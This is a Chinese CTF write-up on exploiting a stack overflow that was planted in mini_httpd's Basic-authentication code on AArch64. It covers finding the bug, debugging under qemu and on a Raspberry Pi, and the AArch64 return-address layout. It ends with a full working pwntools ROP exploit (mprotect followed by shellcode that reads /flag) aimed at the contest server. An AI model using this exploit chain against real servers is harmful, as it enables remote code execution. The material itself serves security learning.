AArch64:libc2.27:ubuntu18.04,题目是在mini_httpd的baisc认证处塞了个栈溢出,远程不是qemu-user,应该是真机,所以不能直接ret2shellcode。故必须要ROP,使用AArch64通用gadget调用mprotect,再shellcode即可。
简要过程:
- 没开canary,所以找危险函数,马上就找到了memcpy,不过需要有basic认证才能触发
- 使用web扫描工具扫描到admin目录,访问即可触发basic认证,进而触发栈溢出
- 本地qemu可以直接ret2shellcode,远程看起来是真机,有NX,需要rop
- 但由于qemu模拟看不到正确的内存布局,也很难leak,故猜测有可用固定地址的内存
- 然后直接用树莓派刷了18.04测的,果然HTTP请求在data段有保留
- 所以通用gadget去mprotect然后shellcode
- 因为太久不做忘了mprotect的got没有初始化不能直接使用通用gadget去调用
- 所以先把mprotect的plt地址送到一个全局地址(树莓派调试),然后通用gadget即可
- shellcode采用了pwntools的复用socket直接回传flag
漏洞发现
因为mini_httpd是开源的:http://www.acme.com/software/mini_httpd/,所以有同学编译完bindiff就发现了溢出点,不过我这次比较幸运,看了没开canary:
➜ checksec ./mini_httpd
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
就把危险函数挨个都看了一遍,什么read,scanf,sprintf,strcpy等,最后看到memcpy时赫然一个可能的栈溢出摆在面前:
CTF为了方便可能是read,memcpy这种,真漏洞还是多出在字符串处理函数上
__int64 __fastcall sub_4046D0(void *src, int a2)
{
char v3[256]; // [xsp+20h] [xbp+20h] BYREF
memcpy(v3, src, a2);
return puts(v3);
}
往上跟几个函数,再对着源码找到这是basic认证处,发现这的确是后加的溢出点,传入的长度显然是base64解码后的长度:
sub_4046D0(src, 3 * a3 / 4 + 1);
看起来就是用户可控的,所以这个洞我是没用bindiff两分钟就看到了,这也是最近CTF给我的一个经验,能快先快,什么trick,常规非预期,猜,蒙。黄宏说:那是实在不行了,男女才一样(才正常慢慢解)。
漏洞触发
但是正常访问题目没有给你basic认证的机会,看源码能看出来只有目录下有.htpasswd
文件时,才会认证,远程直接访问也看不出来有啥目录,本地尝试构造一个目录并添加.htpasswd
的确会提示登录,所以Web扫描器扫一下远程:
➜ python3 dirsearch.py -u http://47.94.131.70:30002/ -e php
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php | Threads: 10 | Wordlist size: 5999
Target: http://47.94.131.70:30002/
[20:38:45] Starting:
[20:38:51] 302 - 498B - /admin -> /admin/
[20:38:51] 401 - 501B - /admin/
[20:38:51] 401 - 501B - /admin/?/login
CTRL+C detected: Pausing threads, please wait...
原来远程admin是需要登录的,所以本地调试的时候也新建一个admin
和.htpasswd
即可:
➜ mkdir admin
➜ touch ./admin/.htpasswd
测试远程只要有Authorization: Basic
字段就无返回了,所以还是要测本地,可以使用qemu模拟运行:
➜ sudo qemu-aarch64 -L /usr/aarch64-linux-gnu ./mini_httpd
bind: Address already in use
./mini_httpd: started as root without requesting chroot()
➜ sudo netstat -pantu | grep 80
tcp6 0 0 :::80 :::* LISTEN 101411/qemu-aarch64
➜ curl http://127.0.0.1
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<title>Index of ./</title>
其中动态链接库可以安装相应交叉编译工具链即可获得:
➜ sudo apt install gcc-aarch64-linux-gnu
可见执行完qemu没有卡住,所以这显然是有fork,想调试可以patch,也可以使用-D参数让他不fork:
➜ sudo qemu-aarch64 -L /usr/aarch64-linux-gnu ./mini_httpd -D
bind: Address already in use
./mini_httpd: started as root without requesting chroot(), warning only
两种办法之前都写过:
- patch fork:Netgear PSV-2020-0432 / CVE-2021-27239 漏洞复现
- 让webserver不fork,需其支持:GDB调试qemu-arm启动的开启了PIE的boa程序
但这个 -D 就算加上了还是无法断到溢出点,因为还有没法直接关的fork,所以如果纯软件模拟,就是patch或者hook调fork函数,patch简单,在fork的plt处下手:
.plt:0000000000401AD0 ; __pid_t fork(void)
.plt:0000000000401AD0 .fork ; CODE XREF: sub_404830:loc_404E14↓p
.plt:0000000000401AD0 ; sub_404830:loc_404EFC↓p ...
.plt:0000000000401AD0 D0 00 00 F0 ADRP X16, #off_41C0A0@PAGE
.plt:0000000000401AD4 11 52 40 F9 LDR X17, [X16,#off_41C0A0@PAGEOFF]
.plt:0000000000401AD8 10 82 02 91 ADD X16, X16, #off_41C0A0@PAGEOFF
.plt:0000000000401ADC 20 02 1F D6 BR X17
只需要把前两句需要修改成:
>>> from pwn import *
>>> context(arch='aarch64')
>>> asm("mov x0,0").hex()
'000080d2'
>>> asm("ret").hex()
'c0035fd6'
结果如下:
.plt:0000000000401AD0 ; __pid_t fork(void)
.plt:0000000000401AD0 .fork ; CODE XREF: sub_404830:loc_404E14↓p
.plt:0000000000401AD0 ; sub_404830:loc_404EFC↓p ...
.plt:0000000000401AD0 00 00 80 D2 MOV X0, #0
.plt:0000000000401AD4 C0 03 5F D6 RET
patch保存后重新启动:
➜ sudo qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./mini_httpd
burp发一个认证base64很长的包:
GET /admin/ HTTP/1.1
Host: 192.168.0.111
Authorization: Basic YWRtaW46YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
挂上调试器,成功控制流劫持:
➜ gdb-multiarch -q
pwndbg> set architecture aarch64
pwndbg> set endian little
pwndbg> target remote :1234
pwndbg> c
*X29 0x6161616161616161 ('aaaaaaaa')
*SP 0x40007f6200 ◂— 'aaaaaaaaaaaaaa'
*PC 0x6161616161616161 ('aaaaaaaa')
────────────[ DISASM ]───────────────
Invalid address 0x6161616161616161
漏洞缓解
正好比赛结束当晚听张银奎老师的课《在调试器下理解ARMv8》提到了这个点,比赛时打控制流劫持其实都没注意。
这里的确是个栈溢出,可以尝试发送过长的baisc认证数据也的确会控制流劫持,但其实AArch64也就是armv8其实是对栈溢出在指令层面做了一个小小的缓解,仔细看这个溢出点的汇编:
.text:00000000004046D0 FD 7B AE A9 STP X29, X30, [SP,#var_120]!
.text:00000000004046D4 FD 03 00 91 MOV X29, SP
.text:00000000004046D8 F3 0B 00 F9 STR X19, [SP,#0x120+var_110]
.text:00000000004046DC B3 83 00 91 ADD X19, X29, #0x20 ; ' '
.text:00000000004046E0 22 7C 40 93 SXTW X2, W1 ; n
.text:00000000004046E4 E1 03 00 AA MOV X1, X0 ; src
.text:00000000004046E8 E0 03 13 AA MOV X0, X19 ; dest
.text:00000000004046EC A9 F4 FF 97 BL .memcpy
.text:00000000004046F0 E0 03 13 AA MOV X0, X19 ; s
.text:00000000004046F4 83 F5 FF 97 BL .puts
.text:00000000004046F8 F3 0B 40 F9 LDR X19, [SP,#0x120+var_110]
.text:00000000004046FC FD 7B D2 A8 LDP X29, X30, [SP+0x120+var_120],#0x120
.text:0000000000404700 C0 03 5F D6 RET
- X30也就是LR寄存器是保存在当前函数的栈帧顶部,栈溢出无法溢出本函数的返回地址
- 但是栈作为函数的行囊,返回地址仍在其中,只是位置有所偏差,所以只要溢出够长,即可覆盖父函数的返回地址
- 所以当前发生栈溢出的函数是可以正常返回的,但如果回到父函数后,父函数使用被破坏的FP寄存器,并仍然用栈上的数据做一些操作而没有马上返回,其更大的概率是崩溃而不是控制流劫持
本题中溢出后,父函数就直接返回了,所以可做:
sub_4046D0(src, 3 * a3 / 4 + 1);
return (unsigned int)v7;
我们可以将断点打在漏洞函数返回处,0x404700,然后发送payload并观察:
*PC 0x404700 ◂— ret /* 0xa9be7bfdd65f03c0 */
────────────────────[ DISASM ]────────────────────
► 0x404700 ret
↓
0x404820 mov w0, w19
0x404824 ldr x19, [sp, #0x10]
0x404828 ldp x29, x30, [sp], #0x20
0x40482c ret
然后将断点打在父函数ret处,发现的确是父函数最终帮助我们完成的控制流劫持:
*PC 0x40482c ◂— ret /* 0xd2853c10d65f03c0 */
────────────────────[ DISASM ]────────────────────
0x404820 mov w0, w19
0x404824 ldr x19, [sp, #0x10]
0x404828 ldp x29, x30, [sp], #0x20
► 0x40482c ret
pwndbg> i r lr
lr 0x6161616161616161 7016996765293437281
虽然canary基本阻止了栈溢出的利用,但很多底层代码,如芯片ROM,基带,通信模组等很多就是没有canary,原因不详,如:
从这个意义上来讲,这个把返回地址放到函数栈帧的上面的确是一种漏洞的缓解办法。
漏洞利用
因为远程不是qemu,提示写的很清楚:
# env
OS:ubuntu 18.04
Arch:aarch64
libc:2.27
所以天天说qemu-user的不支持NX的,直接ret2shellcode解法就翻车了。必然要ROP了,arm64的ROP不太好找,因为寄存器很多,少有数据直接从栈弹到参数寄存器的指令,另外不像x86可以非对齐错位变出很多可用的指令,所以从控栈到控参数寄存器硬找gadget有些麻烦,至少比arm32要复杂:
并且如果是通过劫持lr以劫持的控制流(如栈溢出),之后想调用其他函数,必须要通过b系列的跳转指令走。因为当lr劫持到一个函数后,函数返回时仍然是返回lr,就转死了,比如通过这个栈溢出直接打到mprotetc上:
from pwn import *
from requests.auth import *
import requests
requests.get('http://192.168.0.111/admin/', auth=HTTPBasicAuth('admin','a'*258+p64(0x401F20)))
把断点打在:0x401f20,然后一直c,就会发现 来时候好好的,回不去了:
pwndbg> b * 0x401F20
pwndbg> c
Breakpoint 1, 0x0000000000401f20 in ?? ()
PC 0x401f20 ◂— adrp x16, #0x41c000 /* 0xf9416611f00000d0 */
──────────────────[ DISASM ]──────────────────
► 0x401f20 adrp x16, #0x41c000
0x401f24 ldr x17, [x16, #0x2c8]
0x401f28 add x16, x16, #0x2c8
...
─────────────────[ BACKTRACE ]────────────────
► f 0 0x401f20
pwndbg> i r lr
lr 0x401f20 4202272
pwndbg> c
Continuing.
Breakpoint 1, 0x0000000000401f20 in ?? ()
pwndbg> c
Continuing.
Breakpoint 1, 0x0000000000401f20 in ?? ()
pwndbg> c
Continuing.
Breakpoint 1, 0x0000000000401f20 in ?? ()
pwndbg> i b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000401f20
breakpoint already hit 13 times
正常情况下不会出现因为正常调用函数是b过去的,而不是lr过去的,换句话说,正常情况下,lr不应该返回到函数的开头。x64中不会有转死的这个问题,是因为每次ret的时候自动pop返回地址了,保存返回地址这个元数据的栈中位置已经不可用了,而lr寄存器永久可用。不过通用gadget仍然是可用的,因为其可以b出去:
另外直接本地qemu-user看到的内存布局是坏的:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x0 0xffffffffffffffff rwxp ffffffffffffffff 0 [qemu-user]
[QEMU target detected - vmmap result might not be accurate; see `help vmmap`]
pwndbg>
所以无法正常搜索内存,并且不知道咋修,所以直接用手里的树莓派3B+刷了ubuntu18.04的镜像:
然后直接gdb,连patch fork都省了,树莓派上执行如下:
$ sudo ./mini_httpd
$ sudo netstat -pantu | grep 80
tcp6 0 0 :::80 :::* LISTEN 2081/./mini_httpd
$ sudo gdbserver 0.0.0.0:1234 --attach 2081
Attached; pid = 2081
Listening on port 1234
gdb-multiarch设置如下:
set architecture aarch64
set follow-fork-mode child
target remote 192.168.0.107:1234
b * 0x407D9C
此时终于可以好好看内存了:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x40b000 r-xp b000 0 /home/ubuntu/mini_httpd
0x41b000 0x41c000 r--p 1000 b000 /home/ubuntu/mini_httpd
0x41c000 0x41e000 rw-p 2000 c000 /home/ubuntu/mini_httpd
0x41e000 0x431000 rw-p 13000 0 [anon_0041e]
0x22dc0000 0x22de1000 rw-p 21000 0 [heap]
0xffff8ba79000 0xffff8ba90000 r-xp 17000 0 /lib/aarch64-linux-gnu/libpthread-2.27.so
0xffff8ba90000 0xffff8ba9f000 ---p f000 17000 /lib/aarch64-linux-gnu/libpthread-2.27.so
0xffff8ba9f000 0xffff8baa0000 r--p 1000 16000 /lib/aarch64-linux-gnu/libpthread-2.27.so
0xffff8baa0000 0xffff8baa1000 rw-p 1000 17000 /lib/aarch64-linux-gnu/libpthread-2.27.so
0xffff8baa1000 0xffff8baa5000 rw-p 4000 0 [anon_ffff8baa1]
0xffff8baa5000 0xffff8bada000 r-xp 35000 0 /lib/aarch64-linux-gnu/libnss_systemd.so.2
0xffff8bada000 0xffff8bae9000 ---p f000 35000 /lib/aarch64-linux-gnu/libnss_systemd.so.2
0xffff8bae9000 0xffff8baec000 r--p 3000 34000 /lib/aarch64-linux-gnu/libnss_systemd.so.2
0xffff8baec000 0xffff8baed000 rw-p 1000 37000 /lib/aarch64-linux-gnu/libnss_systemd.so.2
0xffff8baed000 0xffff8baee000 rw-p 1000 0 [anon_ffff8baed]
0xffff8baee000 0xffff8baf8000 r-xp a000 0 /lib/aarch64-linux-gnu/libnss_files-2.27.so
0xffff8baf8000 0xffff8bb07000 ---p f000 a000 /lib/aarch64-linux-gnu/libnss_files-2.27.so
0xffff8bb07000 0xffff8bb08000 r--p 1000 9000 /lib/aarch64-linux-gnu/libnss_files-2.27.so
0xffff8bb08000 0xffff8bb09000 rw-p 1000 a000 /lib/aarch64-linux-gnu/libnss_files-2.27.so
0xffff8bb09000 0xffff8bb0f000 rw-p 6000 0 [anon_ffff8bb09]
0xffff8bb0f000 0xffff8bb21000 r-xp 12000 0 /lib/aarch64-linux-gnu/libnsl-2.27.so
0xffff8bb21000 0xffff8bb30000 ---p f000 12000 /lib/aarch64-linux-gnu/libnsl-2.27.so
0xffff8bb30000 0xffff8bb31000 r--p 1000 11000 /lib/aarch64-linux-gnu/libnsl-2.27.so
0xffff8bb31000 0xffff8bb32000 rw-p 1000 12000 /lib/aarch64-linux-gnu/libnsl-2.27.so
0xffff8bb32000 0xffff8bb34000 rw-p 2000 0 [anon_ffff8bb32]
0xffff8bb34000 0xffff8bb3e000 r-xp a000 0 /lib/aarch64-linux-gnu/libnss_nis-2.27.so
0xffff8bb3e000 0xffff8bb4d000 ---p f000 a000 /lib/aarch64-linux-gnu/libnss_nis-2.27.so
0xffff8bb4d000 0xffff8bb4e000 r--p 1000 9000 /lib/aarch64-linux-gnu/libnss_nis-2.27.so
0xffff8bb4e000 0xffff8bb4f000 rw-p 1000 a000 /lib/aarch64-linux-gnu/libnss_nis-2.27.so
0xffff8bb4f000 0xffff8bb56000 r-xp 7000 0 /lib/aarch64-linux-gnu/libnss_compat-2.27.so
0xffff8bb56000 0xffff8bb65000 ---p f000 7000 /lib/aarch64-linux-gnu/libnss_compat-2.27.so
0xffff8bb65000 0xffff8bb66000 r--p 1000 6000 /lib/aarch64-linux-gnu/libnss_compat-2.27.so
0xffff8bb66000 0xffff8bb67000 rw-p 1000 7000 /lib/aarch64-linux-gnu/libnss_compat-2.27.so
0xffff8bb67000 0xffff8bca6000 r-xp 13f000 0 /lib/aarch64-linux-gnu/libc-2.27.so
0xffff8bca6000 0xffff8bcb6000 ---p 10000 13f000 /lib/aarch64-linux-gnu/libc-2.27.so
0xffff8bcb6000 0xffff8bcba000 r--p 4000 13f000 /lib/aarch64-linux-gnu/libc-2.27.so
0xffff8bcba000 0xffff8bcbc000 rw-p 2000 143000 /lib/aarch64-linux-gnu/libc-2.27.so
0xffff8bcbc000 0xffff8bcc0000 rw-p 4000 0 [anon_ffff8bcbc]
0xffff8bcc0000 0xffff8bcc7000 r-xp 7000 0 /lib/aarch64-linux-gnu/libcrypt-2.27.so
0xffff8bcc7000 0xffff8bcd6000 ---p f000 7000 /lib/aarch64-linux-gnu/libcrypt-2.27.so
0xffff8bcd6000 0xffff8bcd7000 r--p 1000 6000 /lib/aarch64-linux-gnu/libcrypt-2.27.so
0xffff8bcd7000 0xffff8bcd8000 rw-p 1000 7000 /lib/aarch64-linux-gnu/libcrypt-2.27.so
0xffff8bcd8000 0xffff8bd06000 rw-p 2e000 0 [anon_ffff8bcd8]
0xffff8bd06000 0xffff8bd23000 r-xp 1d000 0 /lib/aarch64-linux-gnu/ld-2.27.so
0xffff8bd26000 0xffff8bd2a000 rw-p 4000 0 [anon_ffff8bd26]
0xffff8bd31000 0xffff8bd32000 r--p 1000 0 [vvar]
0xffff8bd32000 0xffff8bd33000 r-xp 1000 0 [vdso]
0xffff8bd33000 0xffff8bd34000 r--p 1000 1d000 /lib/aarch64-linux-gnu/ld-2.27.so
0xffff8bd34000 0xffff8bd36000 rw-p 2000 1e000 /lib/aarch64-linux-gnu/ld-2.27.so
0xffffc935f000 0xffffc9380000 rw-p 21000 0 [stack]
然后发送一些包含特征串的HTTP请求,再用pwndbg的search就可以定位到输入的确在程序的数据段有残留
- 使用ROPgadget没有发现svc指令,意味着不能使用纯小gadget的ROP了
- 发现题目给了mprotect和execve两个libc函数,但由于是真socket的webserver,所以不能直接/bin/sh
- 故方便的方法就是mprotect+反弹shellcode
使用通用gadget需要给一个类似mprotect的GOT表地址,但此时mprotect的GOT表还没初始化,比赛时这卡了两个小时。甚至还一度想开一个HTTP长连接让他先调一遍mprotect再打栈溢出,后来发现mini_http这破玩意并不支持长连接,源码里 Connection: close 都是写死的:
mini_httpd-1.30/mini_httpd.c
...
(void) snprintf(buf, sizeof(buf), "Connection: close\015\012\015\012" );
add_to_response(buf);
...
后来突然醒攒了,直接把mprotect函数地址直接扔到数据段里就完了,最终地址即exp中的0x4234b0。另外反弹shellcode在本地没试对,采用了复用socket的fd的方式,直接将flag打到当前连过去的tcp连接中,如:
最终exp如下,因为都是地址都是全局的,所以打qemu模拟的也好使:
from pwn import *
import base64
context(log_level='debug',arch='aarch64',endian='little')
def aarch64_libc_csu_init_gadget(func_got,arg1,arg2,arg3,ret):
x30 = 0x407D74
x29 = 0x41e000
x20 = 1
x22 = arg1
x23 = arg2
x24 = arg3
x21 = func_got
return flat([0x407D9C,0x11,0x11,x29,x30,0x11,x20,x21,x22,x23,x24,x29,ret])
mprotect_plt = 0x401F20
mprotect_send = 0x4234b0
shellcode_addr = 0x4234b8
shellcode = asm(shellcraft.linux.cat("/flag",6))
rop_gadget = aarch64_libc_csu_init_gadget(mprotect_send,0x423000,0x1000,7,shellcode_addr)
payload = b'GET /admin/ HTTP/1.1\n'
payload += b'Host: 192.168.0.111\n'
payload += b'Authorization: Basic '
payload += base64.b64encode(b'a'*264+rop_gadget)
payload += b'\n\n\n'
payload += b'aaa'
payload += p64(mprotect_plt)+shellcode
io = remote("47.94.131.70",30002)
io.send(payload)
io.interactive()
效果如下:
➜ python3 exp.py
[+] Opening connection to 47.94.131.70 on port 30002: Done
[*] Switching to interactive mode
ByteCTF{c6c5cae3-2583-42e1-b1b2-5178cbc61b6b}
其实还真是头一次正经做arm64的ROP,翻之前做的 arm64 pwn都是堆的,不用细看汇编:
其他WP: